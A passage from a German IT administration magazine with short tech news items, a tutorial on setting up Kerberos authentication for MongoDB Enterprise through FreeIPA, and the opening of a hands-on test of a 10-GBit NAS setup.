GByte Arbeitsspeicher. Die Anzahl der<br />

gemieteten Maschinen lässt sich vom<br />

Anwender zur Laufzeit an seinen Bedarf<br />

anpassen.<br />

Bislang konzentrierte sich die Betriebssystemunterstützung<br />

auf Debian und<br />

CentOS, nun gehören auch Red Hat,<br />

Suse und FreeBSD zu den verfügbaren<br />

Systemen; weitere sollen folgen.<br />

Der Preis für eine Standardinstanz <strong>mit</strong><br />

einem Kern und 3,75 GByte Arbeitsspeicher<br />

beträgt 10,4 US-Cent auf einem<br />

US-amerikanischen Host, 11,4 US-Cent<br />

pro Stunde auf einem europäischen.<br />

Der Preis der Standardinstanzen steigt<br />

proportional zur Anzahl der Kerne und<br />

RAM-Größe.<br />

Daneben gibt es Maschinen <strong>mit</strong> besonders<br />

viel Arbeitsspeicher oder CPUs<br />

sowie Micro- und Small-Instanzen, die<br />

sich zum Preis von 1,9 bis 5,9 US-Cent<br />

<strong>mit</strong> einem geteilten Kern und 0,6 beziehungsweise<br />

1,7 GByte Arbeitsspeicher<br />

begnügen müssen. Dazu kommen<br />

Gebühren für Speicherplatz (4 US-Cent<br />

pro GByte) und Netzwerkverkehr.<br />

Eine statische Netzwerkadresse gibt es<br />

gratis dazu, solange sie in Benutzung<br />

ist. Wer sie reserviert, aber nicht <strong>mit</strong><br />

einer virtuellen Maschine nutzt, den<br />

belegt Google <strong>mit</strong> einem weiteren US-<br />

Cent Gebühr pro Stunde.<br />

Mirage OS 1.0 erschienen<br />

Wie das Xen-Projekt <strong>mit</strong>teilt, ist das<br />

Mirage OS jetzt in Version 1.0 verfügbar<br />

[3]. Es ist als minimalistisches Betriebssytem<br />

für Clouds gedacht, das auf dem<br />

Xen-Hypervisor basiert und ihn <strong>mit</strong><br />

einer extra klein gehaltenen Laufzeitumgebung<br />

versieht. In der Cloud installierte<br />

Server-Anwendungen sind da<strong>mit</strong><br />

kleiner und laufen schneller als<br />

auf einem konventionellen Betriebssystem<br />

wie Linux.<br />

Geschrieben ist die Laufzeitumgebung<br />

in der funktionalen Programmiersprache<br />

Ocaml. Auch<br />

Protokolle wie TCP/​IP, DNS, SSH,<br />

OpenFlow, HTTP, XMPP und ein<br />

Kommunikationsprotokoll für<br />

virtuelle Maschinen wurden in<br />

Ocaml implementiert. Die insgesamt<br />

mehr als 50 Bibliotheken<br />

sind im Mirage-Github-Repository<br />

zu finden.<br />

Als Beispiel für die Leistungsfähigkeit<br />

von Mirage OS wird in der Ankündigung<br />

ein Nameserver genannt, der deutlich<br />

mehr Anfragen pro Sekunde bedienen<br />

kann als der Unix-Nameserver BIND.<br />

Gleichzeitig ist die zugehörige virtuelle<br />

Maschine deutlich kleiner und erfordert<br />

weniger Programmcode. Zu Testzwecken<br />

lassen sich Mirage-Systeme auch<br />

als Benutzerprozesse unter Unix-<br />

Betriebssystemen wie Linux und OS<br />

X ausführen. Mirage lässt sich recht<br />

einfach über den Ocaml-Paketmanager<br />

installieren.<br />

www.admin-magazin.de


WD bringt Kombifestplatte<br />

<strong>mit</strong> 1 TByte<br />

Solid State Disks sind schnell, aber teuer; deshalb<br />

enthält die neue WD Black 2 Dual Drive neben einem<br />

128 GByte großen SSD- einen 1 TByte großen HDD-Speicher.<br />

Als Preis empfiehlt der Hersteller 299 Euro.<br />

Die 2,5-Zoll-Hybridfestplatte lässt sich <strong>mit</strong> einem Kabel als normales Speichermedium<br />

in Laptops und Desktops einbauen und ansprechen. Dabei erscheint<br />

zunächst der SSD-Teil als eigene Partition, der Festplattenspeicher erscheint <strong>mit</strong><br />

den passenden Windows-Treibern für Windows XP bis Windows 8.1 als unabhängige<br />

Partition.<br />

WD bewirbt sein neuestes Produkt <strong>mit</strong> der ungewöhnlichen Flexibilität, die dem<br />

User erlaubt, festzulegen, welche Daten auf welchem Bereich landen. Bei den<br />

meisten anderen Hybrid-Platten, die in der Regel einen erheblich sparsamer ausgestatteten<br />

SSD-Bereich enthalten, entscheidet ein in die Firmware integrierter<br />

Caching-Algorithmus über den Ort des Datenspeichers. Bei der WD Black 2 Dual<br />

Drive liegt diese Entscheidung beim Anwender. Das derzeit ausschließlich Windows-spezifische<br />

Design macht das Gerät allerdings unbrauchbar für Mac- und<br />

Linux-Benutzer.<br />

n Info<br />

Neueste nachrichten<br />

immer auf<br />

www.admin-magazin.de<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31316<br />

[1] Go Playground: [http://​play.​golang.​org]<br />

[2] Go Tour: [http://​tour.​golang.​org]<br />

[3] Mirage OS: [http://​www.​openmirage.​org]<br />

Vertrauen ins Internet schwindet weiter<br />

Einer aktuellen BITKOM-Umfrage zufolge halten 80 Prozent<br />

der Internetnutzer in Deutschland ihre persönlichen Daten im<br />

Internet generell für un<strong>sicher</strong>: 33 Prozent halten sie für „völlig<br />

un<strong>sicher</strong>“ und 47 Prozent für „eher un<strong>sicher</strong>“. Im Juli, nach den<br />

ersten Snowden-Veröffentlichungen, hielten insgesamt erst 66<br />

Prozent der Internetnutzer ihre Daten für un<strong>sicher</strong>. Bei einer<br />

BITKOM-Umfrage im Jahr 2011 waren es nur 55 Prozent.<br />

Laut der Befragung fühlt sich fast die Hälfte (49 Prozent) der<br />

Internetnutzer von der Ausspähung ihrer persönlichen Daten<br />

durch staatliche Stellen bedroht. Im Juli des laufenden Jahres<br />

waren es erst 39 Prozent. Da<strong>mit</strong> übertrifft die Sorge vor der<br />

Bespitzelung durch den Staat inzwischen sogar die Angst vor<br />

Cyber-Kriminellen. 46 Prozent der befragten Internetnutzer<br />

fühlen sich von einer möglichen Ausspähung ihrer Daten durch<br />

Kriminelle bedroht. Im Juli waren es ebenfalls 46 Prozent.<br />

Immerhin 38 Prozent fürchten die Ausspähung ihrer Daten durch<br />

Unternehmen (Juli: 34 Prozent). Nur 15 Prozent der Befragten<br />

sagen, dass sie sich im Internet überhaupt nicht bedroht fühlen<br />

(Juli: 18 Prozent).<br />

Weiter gelitten hat auch das Vertrauen der Bürger, wenn es um<br />

den Umgang sowohl des Staates als auch der Wirtschaft <strong>mit</strong><br />

ihren persönlichen Daten geht. Laut Umfrage misstrauen 68 Prozent<br />

der Internetnutzer Staat und Behörden beim Umgang <strong>mit</strong><br />

ihren persönlichen Daten im Web. Im Juli waren 58 Prozent und<br />

im Jahr 2011 war es <strong>mit</strong> 40 Prozent sogar noch eine Minderheit,<br />

die staatlichen Stellen in puncto Datenschutz misstraute.<br />

Nicht weniger schlecht ist das Ergebnis für die Wirtschaft. Immerhin<br />

64 Prozent der befragten Internetnutzer misstrauen der<br />

„Wirtschaft allgemein“, wenn es um den Umgang <strong>mit</strong> ihren Daten<br />

im Netz geht.<br />

Anzeige


Copyright, 123RF<br />

MongoDB und FreeIPA im Einklang<br />

Ticket-Dienst<br />

dvarg, 123RF<br />

MongoDB und FreeIPA sind zwei beliebte OpenSource-Tools, die beide schon einmal Thema in der Admin-<br />

Story waren. Diesmal geht es darum, wie sich die beiden Tools <strong>mit</strong>einander verbinden lassen. Thorsten Scherf<br />

Die NoSQL-Datenbank MongoDB ist<br />

recht großzügig, was den Zugriff auf<br />

die Datenbanken und den darin gespeicherten<br />

Collections betrifft. Von<br />

Haus aus hat hier nämlich jeder Zugriff.<br />

Natürlich besteht die Möglichkeit, diesen<br />

Zugriff einzuschränken, sodass ein<br />

Benutzer sich <strong>mit</strong>tels Namen und Passwort<br />

authentifizieren muss. MongoDB<br />

greift hierfür auf die System-Collection<br />

»system.users« zurück. Über die Methode<br />

»db.addUser()« füllt man die<br />

Datenbank dann <strong>mit</strong> den gewünschten<br />

Account-Daten und Zugriffsrechten.<br />

Benutzer sind hierbei für jede ge-<br />

wünschte Datenbank zu definieren.<br />

Dies könnte für die Datenbank »football«<br />

wie folgt aussehen:<br />

# mongo localhost/football<br />

db.addUser( { user: "tscherf",<br />

pwd: "redhat",<br />

roles: [ "readWrite",U<br />

"dbAdmin" ]<br />

} )<br />

Dieser Aufruf erzeugt ein Benutzerobjekt<br />

für den Zugriff auf die Datenbank<br />

»football«. Das Passwort wird dabei als<br />

SHA256-Hash hinterlegt. Soll der gleiche<br />

Benutzer auch Zugriff auf eine andere<br />

Datenbank bekommen, muss man<br />

den Benutzer auch dort definieren.<br />

Vorsicht<br />

Die Authentifizierung und Autorisierung<br />

eines Benutzers nimmt MongoDB stets<br />

auf Datenbankebene vor.<br />

Kommt das gleiche Passwort zum<br />

Einsatz, ist auch der Passwort-Hash<br />

für die einzelnen Datenbanken identisch.<br />

Dies sollte man im Hinterkopf<br />

behalten, wenn man <strong>mit</strong> der Challenge-<br />

Response basierten Authentifizierung<br />

auf dem Datenbank-Server arbeitet. Ist<br />

n Listing 1: MongoDB <strong>mit</strong> Passwort<br />

01 # mongo rhel/football ‐u tscherf ‐p redhat<br />

02 connecting to: rhel/football<br />

03 > db.clubs.find({Mitglieder: {"$gt": 100000}})<br />

04 { "_id" : ObjectId("5295cddd140bf9a7a5cbfee9"), "Name" : "FC Schalke 04", "Farben" : "Blauweiß", "Mitglieder" : 111000, "Anschrift" : [<br />

{ "Strasse" : "Ernst‐Kuzorra‐Weg 1", "PLZ" : 45891, "Stadt" : "Gelsenkirchen" } ] }<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Login<br />

Admin-Story<br />

17<br />

der Password-Hash einmal geknackt,<br />

bekommen Angreifer Zugriff auf alle<br />

Datenbanken eines Benutzers. Es wird<br />

daher empfohlen, Applikationen <strong>mit</strong><br />

unterschiedlichen Account-Namen und<br />

Passwörtern auszustatten.<br />

Der authentifizierte Zugriff auf den<br />

Server erfolgt <strong>mit</strong>hilfe des Kommandozeilentools<br />

»mongo«, das voraussetzt,<br />

dass der Server zuvor <strong>mit</strong> der Option<br />

»‐‐auth« gestartet wurde (Listing 1). Die<br />

Option ist in der Konfigurationsdatei<br />

»/etc/mongod.conf« von Haus aus nicht<br />

gesetzt.<br />

MongoDB Enterprise<br />

In der Enterprise-Edition von MongoDB<br />

[1] steht neben der Challenge-Response-basierten<br />

Authentifizierung auch<br />

die Kerberos-Methode zur Verfügung.<br />

Das ermöglicht, für die Anmeldung bei<br />

MongoDB auf Benutzerkonten eines<br />

bereits bestehenden Identity-Management-Systems<br />

zurückzugreifen.<br />

In »system.users« ist dann nur noch<br />

zu definieren, welche Rechte die<br />

Kerberos-Benutzer für eine bestimmte<br />

Datenbank haben. Die Rechte werden<br />

<strong>mit</strong>hilfe von Rollen abgebildet. Statt<br />

des Benutzernamens muss bei der Kerberos-basierten<br />

Authentifizierung das<br />

Kerberos-Principal des Benutzers oder<br />

des Services angeben werden.<br />

In meinem Beispiel greife ich auf das<br />

Identity-Management-Framework Free-<br />

IPA zurück. Es enthält neben einem<br />

LDAP-Server auch einen Kerberos-<br />

Server, der zur Authentifizierung<br />

der MongoDB-Benutzer zum Einsatz<br />

kommen soll. Mehr Informationen zur<br />

FreeIPA-Konfiguration sind in meinem<br />

<strong>ADMIN</strong>-Artikel [2] zu finden.<br />

Da<strong>mit</strong> MongoDB seine Benutzer <strong>mit</strong>tels<br />

einer externen Quelle – dem Kerberos-<br />

Server – authentifiziert, müssen die<br />

folgenden Optionen in der Konfigurationsdatei<br />

des Datenbank-Servers<br />

stehen:<br />

auth = true<br />

setParameter=authenticationU<br />

Mechanisms=GSSAPI<br />

Die erste Option aktiviert die Authentifizierung,<br />

die zweite definiert die<br />

Kerberos-Methode. Fehlt die Methode,<br />

verwendet MongoDB die zuvor besprochene<br />

Challenge-Response-Variante.<br />

An der Stelle sei noch einmal der<br />

Hinweis erlaubt, dass die Authentifizierungsvariante<br />

<strong>mit</strong>tels GSSAPI lediglich<br />

in der Enterprise-Edition möglich ist,<br />

die Community-Edition gibt an dieser<br />

n Listing 2: Server-Start<br />

01 # env KRB5_KTNAME=/opt/mongodb/mongodb.keytab \<br />

02 /opt/mongodb/bin/mongod ‐‐dbpath /opt/<br />

mongodb/data \<br />

03 ‐‐fork ‐‐logpath /opt/mongodb/logs/mongod.<br />

log \<br />

04 ‐‐smallfiles \<br />

05 ‐‐auth ‐‐setParameter<br />

authenticationMechanisms=GSSAPI


18<br />

Login<br />

Admin-Story<br />

n Listing 3: Kerberos-Principal<br />

01 # mongo localhost/football<br />

02 db.addUser( {<br />

03 "user": "tscherf@VIRT.TUXGEEK.<br />

DE",<br />

04 roles: [ "readWrite", "dbAdmin" ]<br />

05 "userSource" : "$external"<br />

06 } )<br />

n Listing 4: Verbindung per Kerberos<br />

01 # /opt/mongodb/bin/mongo rhel.virt.tuxgeek.de/<br />

football \<br />

02 ‐‐authenticationMechanism=GSSAPI \<br />

03 ‐‐authenticationDatabase='$external' \<br />

04 ‐‐username tscherf@VIRT.TUXGEEK.DE<br />

n Listing 5: Service-Ticket<br />

01 # klist<br />

02 Ticket cache: FILE:/tmp/krb5cc_0<br />

03 Default principal: tscherf@VIRT.TUXGEEK.DE<br />

04 <br />

05 Valid starting Expires Service<br />

principal<br />

06 11/27/13 15:19:00 11/28/13 15:18:09 krbtgt/<br />

VIRT.TUXGEEK.DE@VIRT.TUXGEEK.DE<br />

07 11/27/13 15:19:23 11/28/13 15:18:09 mongodb/<br />

rhel.virt.tuxgeek.de@VIRT.TUXGEEK.DE<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31319<br />

[1] MongoDB-Enterprise: [https:// www. mongodb.​<br />

com/ products/ mongodb‐enterprise]<br />

[2] Thorsten Scherf, Identity-Management <strong>mit</strong><br />

FreeIPA 2: [http:// www. admin‐magazin. de/​<br />

Online‐Artikel/ Technical‐Review/ Identity‐Ma<br />

nagement‐<strong>mit</strong>‐FreeIPA‐2]<br />

n Autor<br />

Thorsten Scherf arbeitet als Principal Consultant für<br />

Red Hat EMEA. Er ist oft als Vortragender auf Konferenzen<br />

anzutreffen. Wenn ihm neben der Arbeit und<br />

Familie noch Zeit bleibt, nimmt er gerne an Marathonläufen<br />

teil.<br />

Stelle einen Fehler aus.<br />

Die Enterprise-Edition<br />

kann jedoch in einer<br />

zeitlich und funktional<br />

unli<strong>mit</strong>ierten Evaluierungsversion<br />

von der<br />

MongoDB-Enterprise-<br />

Website heruntergeladen<br />

werden [1].<br />

Der Datenbank-Server<br />

muss Teil der FreeIPA-<br />

Domäne sein, da<strong>mit</strong><br />

der Zugriff funktioniert.<br />

Sollte dies nicht bereits<br />

der Fall sein, nimmt ein<br />

Aufruf von »ipa‐client‐install«<br />

den Server in die Domäne auf. Im<br />

Anschluss muss man für den MongoDB-<br />

Service ein Kerberos-Principal auf dem<br />

FreeIPA-System anlegen. Hierbei hilft<br />

das Tool »ipa«:<br />

# kinit admin<br />

# ipa service‐add mongodb/U<br />

fedora.virt.tuxgeek.de<br />

Im Anschluss ist die Keytab-Datei des<br />

Services auf das Datenbank-System<br />

zu übertragen, am einfachsten <strong>mit</strong><br />

»ipa‐getkeytab«:<br />

# ipa‐getkeytab ‐s ipa1.virt.U<br />

tuxgeek.de ‐p mongodb/fedora.virt.U<br />

tuxgeek.de ‐k /etc/mongodb.keytab<br />

Die Keytab-Datei sollte dabei dem Benutzer<br />

»mongod« gehören und nur für<br />

ihn lesbar sein. Alternativ besteht die<br />

Möglichkeit, die Keytab-Datei direkt<br />

vom Datenbank-System aus zu generieren.<br />

Das setzt aber voraus, dass das<br />

Tool »ipa‐admintools« installiert ist.<br />

MongoDB muss nun natürlich noch wissen,<br />

welche Keytab-Datei zum Einsatz<br />

kommen soll. Diese Information übergebe<br />

ich <strong>mit</strong>tels »KRB5_KTNAME=/etc/<br />

mongodb.keytab« in der Datei<br />

»/etc/sysconfig/mongod«. Wer keine<br />

paketierte Version von MongoDB besitzt,<br />

kann den Server auch <strong>mit</strong> allen<br />

notwendigen Optionen von der Kommandozeile<br />

aus starten (Listing 2).<br />

Benutzereinträge in der Collection<br />

»system.users« können nun einen Kerberos-Principal<br />

enthalten, um zu bestimmen,<br />

welcher Benutzer Zugriff auf<br />

Abbildung 1: Zur Administration der MongoDB gibt es<br />

auch einige GUIs wie etwa Robomongo.<br />

eine bestimmte Datenbank bekommt<br />

(Listing 3).<br />

Um nun einen Kerberos-authentifizierten<br />

Zugriff auf die Mongo-Shell zu<br />

erhalten, muss man zuerst ein entsprechendes<br />

Ticket-Granting-Ticket (TGT)<br />

vom Kerberos-Server anfordern. Dies<br />

geschieht entweder beim Login auf<br />

einem System durch ein entsprechendes<br />

PAM-Modul oder aber ganz einfach<br />

<strong>mit</strong>tels »kinit«. Danach kann man dann<br />

die Mongo-Client-Anwendung <strong>mit</strong> allen<br />

notwendigen Optionen aufrufen, um<br />

sich dann <strong>mit</strong> der gewünschten Datenbank<br />

verbinden zu lassen (Listing 4).<br />

Der Aufruf von »klist« bestätigt schließlich,<br />

dass der Benutzer nun nicht nur<br />

über einen Kerberos-TGT verfügt, sondern<br />

ebenfalls ein Service-Ticket für die<br />

Datenbank erhalten hat (Listing 5).<br />

Anstatt die Mongo-Shell <strong>mit</strong> allen notwendigen<br />

Parametern aufzurufen, lässt<br />

sich eine Kerberos-authentifizierte Verbindung<br />

zu einer Datenbank auch <strong>mit</strong><br />

dem folgenden Statement aus der Shell<br />

heraus aufrufen:<br />

use $external<br />

db.auth( { mechanism: "GSSAPI", U<br />

user: "tscherf@VIRT.TUXGEEK.DE" } )<br />

Wer Lust hat, kann an dieser Stelle<br />

auch noch X.509-Zertifikate für seinen<br />

MongoDB-Server und sämtliche Clients<br />

vom FreeIPA-Framework ausstellen<br />

lassen. Hier<strong>mit</strong> lässt sich dann die Verbindung<br />

zwischen Server und Client<br />

verschlüsseln. Alle hierfür notwendigen<br />

Tools sind dank des FreeIPA-Frameworks<br />

bereits vorhanden. (ofr) n<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


10-GBit-NAS-Setup im Test<br />

Ohne Tempoli<strong>mit</strong><br />

lightwise, 123RF<br />

Vor zehn Jahren noch unbezahlbar, erobern<br />

sich 10-GBit-Netze langsam auch in kleineren<br />

Unternehmen ihren Platz. Das <strong>ADMIN</strong>-<strong>Magazin</strong><br />

hat ein Setup für Preisbewusste getestet.<br />

Jens-Christoph Brendel<br />

Die Komponenten der Computertechnik<br />

entwickeln sich oft <strong>mit</strong> einem<br />

Tempo, das jede Vorstellung sprengt.<br />

Der erste 4-Bit-Mikroprozessor, Intels<br />

4004, bestand 1971 aus ganzen 2300<br />

Transistoren. Heute, rund 40 Jahre später,<br />

kommen dagegen auf Intel-Core-<br />

CPUs fast anderthalb Milliarden unter,<br />

Abbildung 1: Maximale Transfergeschwindigkeiten verschiedener<br />

Busse und Netze.<br />

über 600 000mal so viele. Könnte man<br />

selbst das höchste Gebäude der Welt in<br />

demselben Maß verkleinern wie diese<br />

Transistoren, man müsste es nicht <strong>mit</strong><br />

der Lupe suchen, man bräuchte ein gutes<br />

Mikroskop.<br />

Diese rasante Entwicklung hat allerdings<br />

ein Problem: Sie vollzieht sich<br />

nicht gleichmäßig für<br />

alle Kernbestandteile<br />

eines Rechners.<br />

Das Problem<br />

Etwa zur selben Zeit<br />

wie die ersten 8-Bit-<br />

Prozessoren, die auf<br />

den 4004 folgten,<br />

startete IBM das<br />

Projekt Winchester,<br />

dessen Name lange<br />

als Synonym für Festplatten<br />

galt. Das erste<br />

Winchester-Laufwerk,<br />

das IBM 3340, fasste<br />

35 oder 70 MByte und<br />

konnte Daten <strong>mit</strong> einer<br />

Zugriffsgeschwindigkeit von 25 Millisekunden<br />

bereitstellen. Die Kapazität<br />

hat sich im Vergleich zu heute so<strong>mit</strong><br />

nur um einen rund zehnmal kleineren<br />

Faktor gesteigert als die Transistorenanzahl.<br />

Noch sehr viel schlechter sieht<br />

es bei der Zugriffszeit aus: Weil sich die<br />

Rotationsgeschwindigkeit der Platten<br />

aus physikalischen Gründen nicht beliebig<br />

erhöhen lässt, sank die <strong>mit</strong>tlere<br />

Zugriffszeit in den letzten vier Jahrzehnten<br />

gerade mal auf rund ein Zehntel<br />

der historischen Ausgangsmarke.<br />

Den Ausweg aus diesem Dilemma weisen<br />

SSDs. Weil sie ohne mechanische<br />

Teile auskommen, lassen sich <strong>mit</strong><br />

ihnen Zugriffszeiten von 0,08 bis 0,16<br />

ms realisieren. Das ist zwar ebenfalls<br />

noch sehr weit entfernt von Verhältnis<br />

der Transistoren, aber immerhin ist die<br />

benötigte Zeit rund 30mal kürzer als<br />

bei einer modernen Platte. Da<strong>mit</strong> sind<br />

Transferleistungen beim sequenziellen<br />

Lesen von rund 500 MByte/​s möglich.<br />

Doch schon ergibt sich das nächste<br />

Problem: Für einen SSD-bestückten<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Netzwerk<br />

10-GBit-NAS<br />

21<br />

Fileserver wäre nun das Gigabit-Netzwerk<br />

zu langsam, dass ebenfalls nicht<br />

ganz Schritt gehalten hat. Ein aktuelles<br />

Gigabit-Netz ist gerade mal 100mal so<br />

schnell wie die ersten Ethernet-Standards<br />

(10Base5/​10Base2/​10Base-T)<br />

<strong>mit</strong> ihren 10 MBit/​s. Inzwischen kann<br />

man sich <strong>mit</strong> 10-GBit-Ethernet behelfen<br />

(und 40 sowie 100 GBit stehen vor der<br />

Tür), aber weil man immer wieder eine<br />

Lücke reißt, sobald man eine stopft,<br />

muss man dabei dann schon auf die<br />

Performance der Bus-Systeme schauen<br />

(Abbildung 1) …<br />

Standards<br />

10-GBit-Ethernet wird im über 500<br />

Seiten starken Standard <strong>IEEE</strong> 802.3ae-<br />

2002 definiert [1], der im Juni 2002<br />

verabschiedet wurde. Zuerst bezog er<br />

sich nur auf verschiedene Glasfaserverbindungen<br />

<strong>mit</strong> Längen ab 300 Meter<br />

und bis zu 40 Kilometer (Tabelle 1).<br />

Zwei Jahre später, 2004 (802.3ak-2004)<br />

Abbildung 2: Das NAS-Modell RS 10613 XS+ der Firma<br />

Synology, <strong>mit</strong> dem wir das 10-GBit-Setup getestet<br />

haben.<br />

n Tabelle 1: Physikalische Schnittstellen in 802.3ae<br />

Typ Wellenlänge (nm) max. Distanz (m) Anwendung<br />

10GBASE-LX4 1310 Multimode: 300, Mono: 10 000 kaum benutzt<br />

10GBASE-SR 850 Multimode: 82, ​Mono: 300 Rechenzentren<br />

10GBASE-LR 1310 Mono: 10 000 Metro Campus<br />

10GBASE-ER 1550 Mono: 40 000 Metro WAN<br />

10GBASE-SW 850 Mono: 300 Gebäude, vertikal<br />

10GBASE-LW 1310 Mono: 10 000 Rechenzentren/​Backbone<br />

10GBASE-EW 1550 Mono: 40 000 Rechenzentren/​Backbone


22<br />

Netzwerk<br />

10-GBit-NAS<br />

Abbildung 3: Der Performance-Monitor, der im Betriebssystem der<br />

Synology-RackStation integriert ist.<br />

Abbildung 5: Eine einfache GUI hilft beim Administrieren des kleinen<br />

10-GBit-Switches.<br />

[2], kamen auch Kupferverbindungen<br />

als physikalische Interfaces hinzu.<br />

Zunächst über Kabel, wie sie auch<br />

Infiniband benutzt 10GBASE-CX4 (bis<br />

15m) beziehungsweise über SFP+-<br />

Verbindungen. Im Jahr 2006 erweiterte<br />

sich das Angebot um 10GBASE-T (<strong>mit</strong><br />

der Norm <strong>IEEE</strong> 802.3an-2006) [3], das<br />

die Verwendung von Unshielded-<br />

Twisted-Pair-Kabeln <strong>mit</strong> RJ45-Steckern<br />

erlaubt, wie sie prinzipiell auch bei den<br />

Ethernet-Vorläufern im Einsatz waren.<br />

Mit Kabeln der Kategorie 6A oder besser<br />

sind da<strong>mit</strong> Entfernungen bis zu 100<br />

Metern möglich.<br />

Alle 10-GBit-Spielarten unterstützen<br />

übrigens nur noch Vollduplex-Punktzu-Punkt-Verbindungen<br />

und Switche,<br />

Halbduplex-Verbindungen und Hubs<br />

gibt es hier nicht mehr.<br />

Adaption<br />

Zu den Treibern bei der Durchsetzung<br />

des 10-GBit-Standards zählen neben<br />

den stetig wachsenden Datenvolumen<br />

und der Herausforderung durch immer<br />

schnellere Prozessoren vor allem Virtualisierung,<br />

Cloud Computing, Bildverarbeitung<br />

und Netzwerkspeicher. Gerade<br />

die aktuellen Multicore-Prozessoren<br />

Abbildung 4: Der 10-GBit-Switch von Netgear, speziell<br />

entwickelt für <strong>mit</strong>tlere und kleine Unternehmen.<br />

können ein einzelnes Gigabit-Interface<br />

schnell zum I/​O-Flaschenhals werden<br />

lassen. In diesem Fall leidet die Effizienz<br />

des gesamten Systems. Im Falle der<br />

Virtualisierung teilen sich viele virtuelle<br />

Maschinen die Netzwerkbandbreite<br />

ihres Hosts und können so langsame<br />

Verbindungen leicht überfordern. Bei<br />

der Bildverabeitung sind ebenfalls riesige<br />

Datenmengen im Spiel. Allein die<br />

bildgebenden Verfahren der modernen<br />

Medizin verbrauchen einer Schätzung<br />

zufolge 30 Prozent des weltweiten Storage.<br />

Und schließlich liegt beim Netzwerkspeicher<br />

selber das Problem auf<br />

der Hand – ohne schnelle Netze sind<br />

große Kapazitäten und Flash-Speichermedien<br />

nicht zu handhaben.<br />

Dennoch vollzog sich die Einführung<br />

der 10-GBit-Technik eher zögerlich.<br />

Das lag <strong>sicher</strong> auch an den anfangs<br />

sehr hohen Kosten: Zum Zeitpunkt der<br />

Verabschiedung des ersten Standards<br />

überstiegen die Kosten 10 000 Dollar<br />

pro Port. Unter diesen Bedingungen<br />

kam nur der Einsatz in ausgewählten<br />

Netzknotenpunkten infrage. Inzwischen<br />

sind 10-GBit-Netzwerkkarten ab<br />

zirka 250 Euro zu haben und auch kleinere<br />

Switche kann man heute schon<br />

ab etwa 700 Euro bekommen. Solches,<br />

erst in letzter Zeit verfügbares Equipment<br />

– <strong>mit</strong> dem auch ein Mittelständler<br />

diese Technik <strong>nutzen</strong> kann – hat das<br />

<strong>ADMIN</strong>-<strong>Magazin</strong> in diesem Test unter<br />

die Lupe genommen.<br />

Testaufbau<br />

Für unseren Test haben wir ein 10-GBit-<br />

Setup gewählt, das aus einem Standardserver<br />

unter Windows Server 2008<br />

R2 <strong>mit</strong> zwei Quadcore-CPUs und 16<br />

GByte RAM bestand, in den wir eine 10-.<br />

GBit-Karte von Intel X540-T2 [4] eingebaut<br />

hatten, die man ab etwa 450 Euro<br />

bekommen kann. Die Karte verfügt<br />

über zwei Ports für Twisted-Pair-Kupferkabel.<br />

Mit Kabeln der Kateorie 6 sind<br />

55 Meter, <strong>mit</strong> Kabeln der Kategorie 6A<br />

bis 100 Meter möglich. Vorhandene Cat-<br />

5e-Kabel sind für kurze Distanzen prinzipiell<br />

ebenfalls verwendbar, aber nicht<br />

offiziell supported. Mit diesen Kabeln<br />

wird nur maximal Gigabit-Ethernet bis<br />

100 Meter unterstützt, was der Adapter<br />

selbstverständlich auch beherrscht.<br />

Das 10-GBit-Interface lässt sich unter<br />

diversen Windows-Versionen, Linux<br />

(RHEL 5/​6, SLES 10/​11), FreeBSD 9 und<br />

VMware ESX/​ESXi einsetzen.<br />

Als Gegenstelle be<strong>nutzen</strong> wir ein NAS-<br />

System der Firma Synology [5], Modell<br />

RS 10613 XS+ (Abbildung 2), das ebenfalls<br />

<strong>mit</strong> einem 10-GBit-Intel-Adapter<br />

ausgestattet war. Es verfügt über 10<br />

Platteneinschübe, <strong>mit</strong> denen es sich<br />

bis auf 424 TByte ausbauen lässt. Bei<br />

Bedarf kann man die Kapazität über<br />

Erweiterungsgehäuse allerdings bis auf<br />

106 Platten erhöhen. Ein optionaler<br />

SSD-Cache war bei unserem Modell<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Netzwerk<br />

10-GBit-NAS<br />

23<br />

nicht an Bord. Das Betriebssystem<br />

beherrscht Verschlüsselung (AES)<br />

und verfügt über HA- und Disaster-<br />

Recovery-Features. Einstellen lassen<br />

sich die RAID-Modi Einzelplatte, JBOD,<br />

RAID 0/​1/​5/​6/​10. Neben Freigaben für<br />

Windows- und Mac-Clients kann man<br />

auch iSCSI-LUNs einrichten. Unter<br />

Windows bildet in diesem Fall der Microsoft-iSCSI-Initiator<br />

(Abbildung 7) das<br />

Gegenstück zum iSCSI-Target im NAS-<br />

Betriebssystem. Wir haben das NAS<br />

sowohl <strong>mit</strong> Festplatten (WD 3200BEKT)<br />

– <strong>mit</strong> denen man eine 10-GBit-Verbindung<br />

allerdings nur schwer auslasten<br />

kann – als auch <strong>mit</strong> verschiedenen<br />

einzelnen SSDs von Seagate und Intel<br />

betrieben. Dabei nutzten wir sowohl<br />

CIFS-Freigaben wie auch iSCSI, beides<br />

<strong>mit</strong> NTFS-Filesystem. Performance und<br />

Ressourcenausnutzung der Synology-<br />

RackStation lassen sich im Betrieb live<br />

verfolgen (Abbildung 3).<br />

Zwischen Rechner und NAS haben wir<br />

einen erst kürzlich neu vorgestellten<br />

10-GBit-Switch ProSafe XS70BE [6] der<br />

Firma Netgear platziert (Abbildung<br />

4), der speziell für kleinere Unternehmen<br />

entwickelt wurde. Der Switch<br />

verfügt über 8 Ports für herkömmliche<br />

RJ45-Stecker und Kupfer-Twisted-<br />

Pair-Kabel (10GBASE-T) und einen<br />

Fiber-Combo-Port <strong>mit</strong> SFP+-Konnektor.<br />

Die Software offeriert eine Reihe interessanter<br />

Layer2-Features wie VLAN,<br />

Abbildung 7: Der Microsoft-iSCSI-Initiator<br />

für unkomplizierte iSCSI-Verbindungen.<br />

QoS, Port Trunking<br />

und Rate Li<strong>mit</strong>ing.<br />

Ein Management-Tool<br />

bietet unter Windows<br />

Unterstützung für<br />

zumindest einfache<br />

Administrationsaufgaben<br />

(Abbildung 5). An<br />

die Fähigkeiten großer<br />

gemanagter Switche<br />

kommt es aber nicht<br />

heran.<br />

Die Resultate<br />

Als Benchmark-Software<br />

verwendeten wir<br />

unter Windows das<br />

bewährte iometer [7].<br />

Wir skalierten die Last<br />
